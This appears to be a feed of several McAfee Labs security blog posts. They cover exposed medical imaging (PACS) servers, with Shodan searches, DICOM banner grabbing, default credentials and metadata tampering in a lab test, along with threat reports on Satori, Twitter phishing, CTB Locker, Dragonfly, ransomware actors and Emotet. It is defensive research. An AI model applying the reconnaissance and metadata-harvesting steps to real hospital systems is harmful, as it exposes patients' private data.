Most hospitals or medical research facilities use PACS, for picture archiving and communication system, so that images such as ultrasounds, mammograms, MRIs, etc. can be accessed from the various systems within their facility, or through the cloud.

A PACS setup contains multiple components, including a workstation, imaging device, acquisition gateway, PACS controller, database, and archiving—as illustrated in the following graphic:

The basic elements of PACS infrastructure.

The imaging device creates a picture, such as an ultrasound or MRI, which is uploaded to an acquisition gateway. Because much of the imaging equipment in use by medical facilities does not align with security best practices, acquisition gateways are placed in the network to enable the digital exchange of the images. The acquisition gateway also often acts as the server connecting to the hospital’s information system (using the HL7 protocol) to enrich images with patient data.

The PACS controller is the central unit coordinating all traffic among the different components. The final component in the PACS infrastructure is the database and archiving system. The system ensures that all images are correctly stored and labeled for either short- or long-term storage.

Larger implementations might have multiple imaging devices and acquisition gateways in various locations, connected over the Internet. During our investigation, we noticed many small medical practices around the world using free, open-source PACS software, which was not always securely implemented.

To determine how many PACS servers are connected depends on on how you search using Shodan, a search engine for finding specific types of computers connected to the Internet. Some servers connect over TCP 104; others use HTTP TCP 80 or HTTPS TCP 443. A quick search revealed more than 1,100 PACS directly connected to the Internet, not behind a recommended layer of network security measures or virtual private networks (VPNs).

PACS systems connected to the Internet. Darker colors represent more systems.

Our eyebrows began to rise very early in our research, as we came across “IE 6 support only” messages or ActiveX controls and old Java support; many of these products are vulnerable to a plethora of exploits. For example, one of the PACS generated an error page when we changed one parameter. This is a very basic common way of testing if the application developers did proper input sanitation check to prevent attackers inserting code or generating failures that could reveal data about the application and can give clues to compromise the system.

A stack-trace error.

The stack-trace dump revealed the use of Apache Tomcat Version 7.0.13, which has more than 40 vulnerabilities.

When communicating with the DICOM (digital imaging and communications in medicine) port, TCP 104, it is possible to grab the banner of a server and get a response. As we queried, we recorded different responses. Let’s look at one:

\x02\x00\x00\x00\x00\xbe\x00\x01\x00\x00ANY-SCP         FINDSCU         \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x151.2.840.10008.3.1.1.1!\x00\x00\x1b\x01\x00\x00\x00@\x00\x00\x131.2.840.10008.1.2.1P\x00\x00>Q\x00\x00\x04\x00\x00@\x00R\x00\x00"1.2.826.0.1.3680043.2.135.1066.101U\x00\x00\x0c1.4.16/WIN32

 

The FINDSCU string refers to the findscu tool, which can be used to query a PACS system. The DICOM standard defines three data models for the query/retrieve service. Each data model has been assigned with one unique ID for the C-FIND, one for the C-MOVE, and one for C-GET; so all together there are nine unique IDs, three for each model. In the preceding banner, we retrieved two of those IDs:

  • 2.840.10008.1.2.1: A transfer unique ID that defines the value “Explicit VR Little Endian” for data transfer
  • 2.826.0.1.3680043.2.135.1066.101: A value referring to the implementation class

Another value in the banner, “1.4.16/WIN32,” refers to the implementation version. In the context of the medical servers, this refers to the version of XAMPP, aka Apache with MariaDB, PHP, and Perl. This server was running Apache 2.4.9, which is publicly known to contain nine vulnerabilities.

In other cases, there was no need to search for vulnerabilities. The management interface was wide open and could be accessed without credentials.

What does this mean? It is possible to access the images.

Vulnerabilities

In addition to expensive commercial PACS systems, open-source or small-fee PACS are available for small health care institutions or practices. As we investigated these systems, we found that our fears were well founded. One web server/client setup used the defaults “admin/password” as credentials without enforcing a change when the server is started for the first time. We found more problems:

  • Unencrypted traffic between client and server
  • Click jacking
  • Cross-site scripting (reflected)
  • Cross-site scripting stored as cross-site request forgery
  • Document object model–based link manipulation
  • Remote creation of admin accounts
  • Disclosure of information

Many of these are ranked on the list of OWASP Top 10 Most Critical Web Application Security Risks list, which highlights severe flaws that should be addressed in any product delivered to a customer.

We have reported the vulnerabilities we discovered to these vendors following our responsible disclosure process. They cooperated with us in investigating the vulnerabilities and taking appropriate actions to fix the issues.

But why should we spend so much time and effort in researching vulnerabilities when there are many other ways to retrieve medical images from the Internet?

Medical Image Formats

The medical world uses several image formats for different purposes. Each format has different requirements and works with different equipment, protocols, etc. A few format examples:

  • NifTi Neuroimaging Informatics Technology Initiative
  • Dicom Digital Imaging and Communications in Medicine
  • MINC Medical Imaging NetCDF
  • NRRD Nearly Raw Raster Data

Searching open directories and FTP servers while using several search engines, we gathered thousands of images—some of them complete MRI scans, mostly in DICOM format. One example:

An open directory of images.

The DICOM format originated in the 1980s, before cybersecurity was a key component. The standard format contains a detailed list of tags such as patient name, station name, hospital, etc. All are included as metadata with the image.

Opening an image with a text editor presents the following screen:

An example of the DICOM file format.

The file begins with the prefix DICM, an indicator that we are dealing with a DICOM file.  Other (now obscured) strings in this example include the hospital’s name, city, patient name, and more.

The Health Insurance Portability and Accountability Act requires a secure medical imaging workflow, which includes the removal or anonymizing of metadata in DICOM files. Researching the retrieved files from open sources and directories, we discovered most of the images still contained this metadata, such as in the following example, from which we extracted (obscured) personally identifiable information (PII).

Metadata discovered in a DICOM file.

Combining Vulnerabilities and Metadata

We combined possible vulnerabilities and the metadata to create a test scenario, installing information from a dummy patient, including an x-ray picture of a knee, to the vulnerable PACS server.

Our test patient record, followed by an x-ray of a knee. 

Using vulnerability information gathered in an earlier phase of research, we launched an attack to gain access to the PACS server. Once we had access, we downloaded the image from our dummy patient and altered the metadata of the image series, changing all references of “knee” to “elbow.”

Altered metadata of the test patient image.

We then saved the picture and uploaded it to the server. Checking the records of our dummy patient, we found our changes were successful.

Changes successfully updated.

Reconstructing Body Parts

In the medical imaging world, a large array of software can investigate and visualize images in different ways, for example, in 3D. We took our collection of images, and using a demo version of 3D software, we reconstructed complete 3D models of vertebrae, pelvis, knees, etc. and, in one case, we reconstructed a partial face.

Because we firmly believe in protecting privacy, the following example—a series of images from a pelvis—comes from a demo file that accompanies the software.

An example of a series of images.

After selecting areas of interest and adjusting the levels, we generated a 3D model of the pelvis:

A 3D model of the pelvis.

The application that generated the 3D model has a feature that allowed us to export the model in several data formats to be used by other 3D drawing programs. After the export, we imported the data into a 3D drawing program and converted the file to STL, a popular format for 3D objects and printers.

In short, we began with files from open directories, transformed them into a 3D model, and printed a tangible model using a 3D printer:

Our 3D model of a pelvis.

Conclusion

When we began our investigation into the security status of medical imaging systems, we never expected we would conclude by reconstructing body parts. The amount of old software used in implementations of PACS servers and the amount of vulnerabilities discovered within the software itself are concerning. We investigated relatively few open-source vendors, but it begs the question: What more could we have found if we had access to professional hardware and software?

Default accounts, cross-site scripting, or vulnerabilities in the web server could lead to access to the systems. Our research demonstrates that once inside the systems, the data and pictures can be permanently altered.

In May 2017, one report claimed that through artificial intelligence pictures could be studied to determine how long a person will live. What if criminals could obtain that information and use it for extortion?

We understand the need for quickly sharing medical data for diagnosis and treatment and for storing medical images. We advise health care organizations to be careful when sharing images on open directories for research purposes and to at least scrape the PII data from the images.

For organizations using a PACS, ask your vendor about its security features. Employ a proper network design in which the sharing systems are properly secured. Think not only about internal security but also about the use of VPNs and two-factor authentication when connecting with external systems.

 

For more on the health care industry follow @McAfee_Labs and catch up on all threats statistics from Q417 in the March Threats Report.

The post McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-researchers-find-poor-security-exposes-medical-data-to-cybercriminals/feed/ 0
Satori Botnet Turns IoT Devices Into Zombies By Borrowing Code from Mirai https://securingtomorrow.mcafee.com/business/satori-botnet-turns-iot-devices-zombies-borrowing-code-mirai/ https://securingtomorrow.mcafee.com/business/satori-botnet-turns-iot-devices-zombies-borrowing-code-mirai/#respond Fri, 09 Feb 2018 20:33:50 +0000 https://securingtomorrow.mcafee.com/?p=84407 Like a zombie rising from the dead, a new botnet is reemerging from the remains of Mirai malware. Specifically, modern-day threat actors are breathing life into a fast-evolving botnet called Satori by repurposing some of the source code from Mirai. And now, Satori is creating zombies of its own, as its been found hijacking internet-connected devices […]

The post Satori Botnet Turns IoT Devices Into Zombies By Borrowing Code from Mirai appeared first on McAfee Blogs.

]]>
Like a zombie rising from the dead, a new botnet is reemerging from the remains of Mirai malware. Specifically, modern-day threat actors are breathing life into a fast-evolving botnet called Satori by repurposing some of the source code from Mirai. And now, Satori is creating zombies of its own, as its been found hijacking internet-connected devices and turning them into an obedient botnet army that can be remotely controlled in unison.

Satori, as of now, is a work in progress. But that also means it’s evolving rapidly. Satori knows that agility equates to survival — we’ve seen it adapt to security measures and transcend its former self time and time again. Researchers have even taken down the main Satori C&C server, only to find the botnet remerge shortly after.

So it’s no surprise that it recently reemerged stronger than ever before. The current version has been found targeting software associated with ARC processors, which are used in a variety of IoT devices. Once it finds a weakness in an IoT device, Satori checks to see if default settings have been changed, and gains control of any machine that still has them. From there, it connects to the larger network and gains control of other devices that may be on it. So far, Satori has only managed to enslave a small number of devices. But once its army becomes large enough, it can be summoned to pump out masses of e-mail spam, incapacitate corporate websites, or even bring down large chunks of the internet itself.

Apparently, Satori doesn’t just take code from Mirai, it takes cues too – as these efforts are reminiscent of the infamous Mirai DDoS attack. But we can take cues from Mirai too in order to prepare for a potential Satori attack. First and foremost, every owner of an IoT device must change the default settings immediately – a necessary security precaution that many don’t take, which gave Mirai the firepower it needed in the first place. From there, users should disable telnet access from the outside and use SSH for remote administration if needed. However, this responsibility falls on the shoulders of manufacturers too, as they should enforce these settings by default. If both users and vendors follow these simple security steps, we can stunt Satori’s growth and stifle its Mirai-inspired ambitions entirely.

To learn more about the Satori botnet, and others like it, be sure to follow @McAfee and @McAfee_Labs on Twitter.

The post Satori Botnet Turns IoT Devices Into Zombies By Borrowing Code from Mirai appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/satori-botnet-turns-iot-devices-zombies-borrowing-code-mirai/feed/ 0
Twitter Accounts of US Media Under Attack by Large Campaign https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/twitter-accounts-of-us-media-under-attack-by-large-campaign/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/twitter-accounts-of-us-media-under-attack-by-large-campaign/#respond Wed, 24 Jan 2018 00:59:27 +0000 https://securingtomorrow.mcafee.com/?p=83864 A previously reported campaign purportedly carried out by Turkish hacker group “Ayyildiz Tim” targeting high-profile, verified Twitter accounts with the purpose of spreading Turkish political propaganda appears to have escalated within the last 24 hours. McAfee Advanced Threat Research has investigated the new events and discovered the following.

The post Twitter Accounts of US Media Under Attack by Large Campaign appeared first on McAfee Blogs.

]]>
A previously reported campaign purportedly carried out by Turkish hacker group “Ayyildiz Tim” targeting high-profile, verified Twitter accounts with the purpose of spreading Turkish political propaganda appears to have escalated within the last 24 hours. McAfee Advanced Threat Research has investigated the new events and discovered the following. On January 13, the Twitter account of the Indian ambassador to the United Nations was taken over and spread pro-Pakistan and pro-Turkey postings:

What seemed to be a single event soon became a targeted campaign that we discovered in cooperation with our partner SocialSafeGuard. Combining their technology and our threat researchers, we started to build a timeline of events:

 

In each case in this timeline, the account was restored after several hours.

Once the accounts were compromised, the attackers direct-messaged the account contacts with propaganda for their cause or with a link to convince them to click on a phishing site that would harvest the Twitter credentials of the victim.

One example of such a site is hxxp://fox-news.medianewsonline.com/.

Visiting the page shows the following:

If we look at the source code of the page, we discover several Turkish-language segments.

Focusing on the domains used for the phishing sites, we discovered more registered sites. Some examples:

  • mypressonline.com
  • official-twitter-jp.mypressonline.com
  • feedbac-verifv.mypressonline.com

Who is behind this campaign? According to the messages used, the Turkish hacker group “Ayyildiz Tim” (AYT) claims to be responsible for the attacks. The group was founded in 2002 and advocates Turkish state ideology. In the following example, we see the background image of Greta van Susteren has changed to one of the many wallpapers used by the group:

We advise journalists in particular, as well as others in high-profile positions, to follow appropriate safeguards to protect their accounts.

We are aware that one of the tactics from this group is to use Direct Messaging to communicate with other prominent Twitter accounts. There is also evidence that private messaging history has been accessed from certain compromised accounts of prominent figures, along with other sensitive or confidential information such as private phone numbers and emails.  If you receive a message, even from someone you know or trust, be aware that the message may not be from the person you know. It is potentially directing you to malicious content.

You absolutely should verify through an alternate channel that the link is safe to click.

The post Twitter Accounts of US Media Under Attack by Large Campaign appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/twitter-accounts-of-us-media-under-attack-by-large-campaign/feed/ 0
McAfee Labs Advanced Threat Research Aids Arrest of Suspected Cybercrime Gang Linked to Top Malware CTB Locker https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/advanced-threat-research/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/advanced-threat-research/#respond Wed, 20 Dec 2017 12:00:38 +0000 https://securingtomorrow.mcafee.com/?p=83276 In our recent research, we interviewed the actors behind ransomware campaigns. One of the interesting findings was cybercriminals seemed to have a sense of absolute safety when conducting criminal operations. Cybercrime is an area of crime like no other, perceived as low-risk with high returns, which contributes greatly to its rapid growth.

The post McAfee Labs Advanced Threat Research Aids Arrest of Suspected Cybercrime Gang Linked to Top Malware CTB Locker appeared first on McAfee Blogs.

]]>
In our recent research, we interviewed the actors behind ransomware campaigns. One of the interesting findings was cybercriminals seemed to have a sense of absolute safety when conducting criminal operations. Cybercrime is an area of crime like no other, perceived as low-risk with high returns, which contributes greatly to its rapid growth.

Today, with the arrest of individuals suspected of infecting computer systems by spreading the CTB Locker malware, a clear message has been sent—involvement in cybercrime is not zero-risk.

CTB Locker

CTB Locker, also known as Critroni, is known as one of the largest ransomware families—helping to drive a new ransomware surge of 165 percent in 2015 as one of the top three ransomware families, and earning a spot as No. 1 just a year later. Operation Tovar, in which law enforcement agencies took down the infrastructure responsible for spreading CryptoLocker, created a need for more malware—CTB Locker and CryptoWall malware families helped to fill the gap.

In June 2014, the CTB Locker authors began to advertise the malware family on the underground scene at a cost of $3,000USD, where people could buy the first versions for $1,500USD. The authors also offered an affiliate program, which made CTB Locker infamous. By sharing a percentage of the received ransoms, the affiliates ran the greater risk—because they had to spread the ransomware—but they also enjoyed the higher profits. By using exploit kits and spam campaigns, the malware was distributed all over the world, mostly targeting “Tier 1” countries, those in which the victims could afford to pay and most likely would pay the ransom. Midway through 2015, we gained unique information from an affiliate server that helped us tremendously in the subsequent investigations.

A CTB Locker affiliate server.
An example of CTB Locker source code.

Besides the use of an affiliate server in CTB Locker’s infrastructure, two other components complete the setup: a gateway server and a payment server.

Attacks Begin to Grow

During 2016, a massive spam campaign struck the Netherlands. Emails in Dutch seemed to originate from one of the largest telco providers. The emails claimed to have the latest bill attached. There was no bill, of course, rather CTB Locker asking for around $400USD of ransom to return files. The grammar and word usage was near perfect—not what we commonly observe—and the names in the email were proof of a well-prepared campaign. More than 200 cases in the Netherlands alone were filed with regards to these infections.

With attacks growing in number, the Dutch High Tech Crime Unit began an investigation. The unit approached McAfee’s Advanced Threat Research team to assist in identifying samples and answering questions.

Following our research, we were kept updated and were informed that in the early morning of December 14 operation “Bakovia” started. The initial research was on the CTB Locker ransomware but based on information from the U.S. Secret Service, it was determined that the same suspected gang was also linked to distribution of Cerber ransomware—another major family.

The Arrests

During the operation in East Romania, six houses were searched whereby the investigators seized a significant amount of hard-drives, laptops, external-storage, crypto-currency mining rigs, and hundreds of SIM cards. Suspects were arrested for allegedly spreading CTB Locker ransomware, and other suspects allegedly responsible for spreading Cerber were arrested at the airport in Bucharest.

Watch video of arrests. 

The law enforcement action emphasizes the value of public-private partnerships and underscores the determination behind the McAfee mantra “Together is power.”

The post McAfee Labs Advanced Threat Research Aids Arrest of Suspected Cybercrime Gang Linked to Top Malware CTB Locker appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/advanced-threat-research/feed/ 0
Operation Dragonfly Analysis Suggests Links to Earlier Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-dragonfly-analysis-suggests-links-to-earlier-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-dragonfly-analysis-suggests-links-to-earlier-attacks/#respond Mon, 18 Dec 2017 05:03:12 +0000 https://securingtomorrow.mcafee.com/?p=83197 On September 6, Symantec published details of the Dragonfly campaign, which targeted dozens of energy companies throughout 2017. This attack was effectively Dragonfly 2.0, an update to a campaign that began in 2014. Moving beyond our 2014 analysis of Dragonfly, our current focus looks at the attack’s indicators to determine whether we can glean any […]

The post Operation Dragonfly Analysis Suggests Links to Earlier Attacks appeared first on McAfee Blogs.

]]>
On September 6, Symantec published details of the Dragonfly campaign, which targeted dozens of energy companies throughout 2017. This attack was effectively Dragonfly 2.0, an update to a campaign that began in 2014.

Moving beyond our 2014 analysis of Dragonfly, our current focus looks at the attack’s indicators to determine whether we can glean any further information regarding the source and possible motivations of those behind the campaign. The campaign targets energy companies around the world by leveraging spear-phishing emails that, once successful, allow the attackers to download Trojan software. The Trojans provide access to the victims’ systems and networks.

Going Beyond Energy

Although initial reports showed Dragonfly attacks targeting the energy sector, investigations by McAfee Labs and the Advanced Threat Research team uncovered related attacks targeting the pharmaceutical, financial, and accounting industries. Everything about this campaign points to a well-prepared assault that carefully considers each target, and conducts reconnaissance before taking any measures to exploit compromised targets.

We saw the group use several techniques to get a foothold in victims’ networks, including spear phishing, watering holes, and exploits of supply-chain technologies via previous campaigns. By compromising well-established software vulnerabilities and embedding within them “backdoor” malware, the victims think they are installing software from a trusted vendor, while unaware of the supply-side compromise.

Once the attackers have a foothold, they create or gain user accounts to operate stealthily. Using the remote-desktop protocol to hop among internal or external systems, they connect either to a control server if the risk is minimal or use an internal compromised server to conduct operations.

The last wave of attacks used several backdoors and utilities. In analyzing the samples, we compared these with McAfee’s threat intelligence knowledge base of attack artifacts.

One of the starting points was a Trojan in the 2017 campaign with the following hashes:

  • MD5: da9d8c78efe0c6c8be70e6b857400fb1
  • SHA-256: fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9

Comparing this code, we discovered another sample from the group that was used in a July 2013 attack:

  • MD5: 4bfdda1a5f21d56afdc2060b9ce5a170
  • SHA-256: 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4
  • Filename: fl.exe

The file was downloaded after a Java exploit executed on the victim’s machine, according to the 2013 attack report. After analyzing the 2013 sample, we noticed that some of the executable’s resources were in Russian.

Comparing the code, we find the 2017 sample has a large percentage of the same code as the backdoor used in the 2013 attacks. Further, some code in the 2017 backdoor is identical to code in the application TeamViewer, a legitimate remote administration tool used by many around the world. By incorporating the code and in-memory execution, the attackers avoid detection and leave no trace on disk.

The correlating hash we discovered that contained the same TeamViewer code was reported by Crysys, a Hungarian security company. In their report on about ‘“TeamSpy,” they mentioned the hash we correlated as well: 708ceccae2c27e32637fd29451aef4a5. This particular sample had the following compile date details: 2011:09:07 – 09:27:58+01:00

The TeamSpy attacks were originally aimed at political and human right activists living in the Commonwealth of Independent States (the former Soviet Union) and eastern European countries. Although the report attributes the attacks to a threat actor or actors and shared tactics and procedures, the motivations behind TeamSpy appear similar to those of the Dragonfly group. With identical code reuse, could the TeamSpy campaign be the work of Dragonfly?

But that’s not all of interest. We also discovered that the 2017 sample contained code blocks associated with another interesting malware family: BlackEnergy. Let’s look at an example of the code similarities we discovered:

A BlackEnergy sample from 2016 (at left) alongside a Dragonfly sample from 2017.

Self-deleting code is very common in malware, but it is usually implemented by creating a batch file and executing the batch instead of directly calling the delete command, as we see in the preceding examples.

The BlackEnergy sample used in our comparison was captured in the Ukraine on October 31, 2015, and was mentioned in our post on the evolution of the BlackEnergy Trojan. It is remarkable that this piece of code is almost identical in both samples, and suggests a correlation between the BlackEnergy and Dragonfly campaigns.

Actor Sophistication

Our analysis of this attack tells a story about the actors’ capability and skills. Their attack precision is very good; they know whom and what to attack, using a variety of efforts. Their focus is on Windows systems and they use well-known practices to gather information and credentials. From our research, we have seen the evolution of the code in their backdoors and the reuse of code in their campaigns.

How well do the actors cover their tracks? We conclude they are fairly sophisticated in hiding details of their attacks, and in some cases in leaving details behind to either mislead or make a statement. We rate threat actors by scoring them in different categories; we have  mentioned a few. The Dragonfly group is in the top echelon of targeting attackers; it is critical that those in the targeted sectors be aware of them.

The Dragonfly group is most likely after intellectual property or insights into the sector they target, with the ability to take offensive disruptive and destructive action, as was reported in the 2015 attack on the Ukrainian power grid by a BlackEnergy malware family.

 

We would like to thank the team at Intezer for their assistance and support during our research.

The post Operation Dragonfly Analysis Suggests Links to Earlier Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-dragonfly-analysis-suggests-links-to-earlier-attacks/feed/ 0
Looking Into the World of Ransomware Actors Reveals Some Surprises https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/looking-into-the-world-of-ransomware-actors-reveals-some-surprises/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/looking-into-the-world-of-ransomware-actors-reveals-some-surprises/#respond Mon, 18 Dec 2017 05:02:37 +0000 https://securingtomorrow.mcafee.com/?p=82945 During the preparations for our keynotes at McAfee’s recent MPOWER conference, we brainstormed a few topics we wanted to share with the audience. Ransomware was definitely on our agenda, but so much has already been said and written on the subject. What could we add that would be interesting? We hit on the angle: to […]

The post Looking Into the World of Ransomware Actors Reveals Some Surprises appeared first on McAfee Blogs.

]]>
During the preparations for our keynotes at McAfee’s recent MPOWER conference, we brainstormed a few topics we wanted to share with the audience. Ransomware was definitely on our agenda, but so much has already been said and written on the subject. What could we add that would be interesting?

We hit on the angle: to dive into this shady world and learn about the people behind these campaigns. There are several ways to approach this. We could go into forums and look for the individuals who discuss these campaigns or offer ransomware for sale. But that would be very time consuming and the chance of finding the right individuals would be small. There is a better way.

In most samples of ransomware, once they malware executes and files are encrypted, the “ransom note” appears. Either a background drop or a text file contains the details. During 2017 we saw many of these notes contain an email address for questions or for payment details and releasing files.

Example:

We looked at three months of unique ransomware samples and extracted either the images or the notes that contained the contact addresses. As new ransomware families popped up in our tracker, we verified them and added the addresses—because these fresh attacks made it likely the authors would interact with us.

But how could convince the actors to answer our questions? We took the role of students working on a master thesis and asked the actors if they would be willing to answer a few questions. For a couple of weeks we lived the role of students, eating lots of pizza, drinking sodas, and so on. (You have to live the role, right?)

We sent our emails and queried the actors who responded. One of our first observations was that of all the emails we retrieved, about 30 percent were either fake or nonexistent. So in these cases when files were encrypted and the victim decided to pay, using email to send evidence of payment was useless. The money was gone (as well as the files).

During the first week of our research we received answers back from some of the actors, but most were not willing to cooperate. That’s no surprise: They were cautious about revealing their identity.

During the second week, we had better luck and started to chat with a few. That number grew, and after a few weeks we had a great collection of conversations with the actors.

“Fast, easy, and safe”

When we asked why they started a career in ransomware, most answered with variations on “enough money” and “fast, easy, and safe,” especially when using anonymous email services and cryptocurrency for payments.

Homemade vs. Off the Shelf

Most of the actors we spoke with wrote their own ransomware. They had looked at the published source code but were clever enough to come up with their own variants that contained new techniques or different approaches to keep detections low. The longer they stayed out of sight of endpoint security solutions, the longer was their opportunity to make money.

Spending Their Ill-Gotten Gains

They spend the revenue they gained from their campaigns in various manners: travel, cars. One had many affiliates working for him so he was soon going to buy a house. One of the most surprising answers was that one turned to ransomware to “pay off his debts.”

Willing to Negotiate

Although they often have the image of being ruthless, almost all of them claimed a willingness to negotiate the ransom price in case victims could not afford to pay the demanded amount.

Tracking the Authors

One of the actors so enthusiastic he wanted to sell us ransomware code so we could pay off our college debts. Based on his answers and sharing of information, we noticed that he was not a very experienced actor and he gave clues on his whereabouts. In one of the conversations, he shared some examples, but the data was not scrubbed. By correlating the data he provided with other information, such as email time zones and mistakes in his English, we traced him to Dakar, Senegal. He not only sends ransomware but also sells botnets and other fraud-related services.

We found the research eye opening. Now we just need a few weeks in the gym to work off all the sodas and pizzas.

For those suffering from a ransomware attack, you have three options. The first two are bad: lose your files, or pay the ransom and hope (with no guarantee) for a key to unlock your files. The best option is to start with a visit to NoMoreRansom.org to see if a decryption tool is available.

Meanwhile, remember the standard advice on reducing your risk of picking up ransomware: Keep your OS, security, and application software up to date; exercise a healthy dose of skepticism even when you see messages that appear to come from legitimate sources; and do not click on links or open files from unknown names or organizations.

 

Learn more about the threat statistics we gathered in Q3, including ransomware in the McAfee Labs Threats Report, December 2017 and follow the team on Twitter at @McAfee_Labs.

The post Looking Into the World of Ransomware Actors Reveals Some Surprises appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/looking-into-the-world-of-ransomware-actors-reveals-some-surprises/feed/ 0
McAfee Labs Reports All-Time Highs for Malware in Latest Count https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-reports-all-time-highs-for-malware-in-latest-count/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-reports-all-time-highs-for-malware-in-latest-count/#respond Mon, 18 Dec 2017 05:01:32 +0000 https://securingtomorrow.mcafee.com/?p=82952 In the third quarter of 2017, McAfee Labs reports all-time highs of new and total malware. What is causing the increasing numbers of malware that are submitted to us at an average rate of four new malware samples per second? One major trend that continues in Q3 is the abuse of Microsoft Office–related exploits and […]

The post McAfee Labs Reports All-Time Highs for Malware in Latest Count appeared first on McAfee Blogs.

]]>
In the third quarter of 2017, McAfee Labs reports all-time highs of new and total malware. What is causing the increasing numbers of malware that are submitted to us at an average rate of four new malware samples per second?

One major trend that continues in Q3 is the abuse of Microsoft Office–related exploits and the use of malicious code in macros that activates PowerShell to execute them, so-called fileless attacks.

In March, an exploit was released that took advantage of CVE-2017-0199, a vulnerability in how Microsoft Office and WordPad handle specially crafted files that could result in remote code execution. During Q3, we saw an increase in the number of crafted files that were submitted. We also noticed that many releases take advantage of a toolkit on GitHub that makes it quite easy to create a “backdoor” attack:

Another major event in Q3 was a massive spam campaign to distribute a new version of the infamous Locky ransomware “Lukitus.” Within 24 hours, more than 23 million emails were sent. Shortly after the first arrived, security company Comodo Labs discovered another campaign related to this attack that sent more than 62,000 spam emails distributing the ransomware.

With banking Trojans, we observed the greatest activity from the Trickbot Trojan. We saw several variations in which the actors added new features to their code, for example, cryptocurrency stealing, embedding the EternalBlue exploit, and employing different ways of delivering the malware, which primarily targets the financial sector.

Another banking Trojan family that appeared often during the quarter was Emotet. In several spamming campaigns users were asked to download a Microsoft Word document from several locations. From our analysis of the attached document, we found the payload was hidden in the macros that used PowerShell to install the Trojan.

These major campaigns and others caused a tsunami of spam email, distributing a tremendous number of samples that increased the malware storage demands of all of us in the security industry.

For more details and our usual statistics on malware, breach incidents, and web and network threats, read the McAfee Labs Threats Report, December 2017.

The post McAfee Labs Reports All-Time Highs for Malware in Latest Count appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-reports-all-time-highs-for-malware-in-latest-count/feed/ 0
Emotet Downloader Trojan Returns in Force https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/emotet-downloader-trojan-returns-in-force/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/emotet-downloader-trojan-returns-in-force/#respond Wed, 06 Dec 2017 23:00:25 +0000 https://securingtomorrow.mcafee.com/?p=82984 During the past couple of days, we have seen an increase in activity from Emotet. This Trojan downloader spreads by emails that lure victims into downloading a Word document, which contains macros that after executing employ PowerShell to download a malicious payload. We have observed Emotet downloading a variety of payloads, including ransomware, Dridex, Trickbot, […]

The post Emotet Downloader Trojan Returns in Force appeared first on McAfee Blogs.

]]>
During the past couple of days, we have seen an increase in activity from Emotet. This Trojan downloader spreads by emails that lure victims into downloading a Word document, which contains macros that after executing employ PowerShell to download a malicious payload.

We have observed Emotet downloading a variety of payloads, including ransomware, Dridex, Trickbot, Pinkslipbot, and other banking Trojans.

During a wave of attacks in early December we discovered a campaign spreading the ransomware family HydraCrypt. The sample we received had a compilation date of December 5.

The initial Word documents were downloaded from a number of URLs; some examples follow:

  • hxxp://URL/DOC/Invoice/
  • hxxp://URL/scan/New-invoice-[Number]/
  • hxxp://URL /scan/New-invoice- Number]/
  • hxxp://URL /LLC/New-invoice- Number]/

The document topics are crafted to entice users to open them because they appear to impact our finances or official documentation.

  • Invoice
  • Paypal
  • Rechnung (with or without a number)
  • Dokumente vom Notar

The documents have typical characteristics used by Emotet attackers. When a user opens the document, it claims the file is protected and asks the victim to enable the content, which launches the code hidden in the macros.

In analyzing the macros, we see heavily obfuscated code to make detection difficult and cover up the real purpose of the document:

The macro code uses a mix of command, wmic, and PowerShell to copy itself to disk, create a service, and contact its control server for a download URL.

Emotet collects information about the victim’s computer, for example running processes, and sends encrypted data to the control server using a POST request:

The specific user-agent strings used in these requests:

  • Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;Trident/4.0;SLCC2;.NETCLR2.0.50727;
    .NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;.NET4.0C;.NET4.0E)
  • Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;Trident/4.0;SLCC2;.NETCLR2.0.50727;
    .NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;InfoPath.3)
  • Mozilla/5.0(WindowsNT6.1;WOW64;rv:39.0)Gecko/20100101Firefox/38.0•Mozilla/5.0
    (compatible;MSIE8.0;WindowsNT5.1;SLCC1;.NETCLR1.1.4322)

The payload samples are downloaded to %Windir%\System32 using a random name, either in GUID format or a five-digit random name.

The control servers and URLs hosting the malicious documents are covered within McAfee Global Threat Intelligence, with which we provide coverage for the samples detected. The McAfee Advanced Threat Research team proactively monitors any new developments regarding Emotet.

Detection

The new variants of Emotet are detected by McAfee DAT files as Emotet-FEJ!<Partial Hash> since December 3. Real Protection technology within McAfee Endpoint Security Adaptive Threat Protection provides zero-day detection of these new variants as Real Protect-SS!<Partial Hash>.

The post Emotet Downloader Trojan Returns in Force appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/emotet-downloader-trojan-returns-in-force/feed/ 0
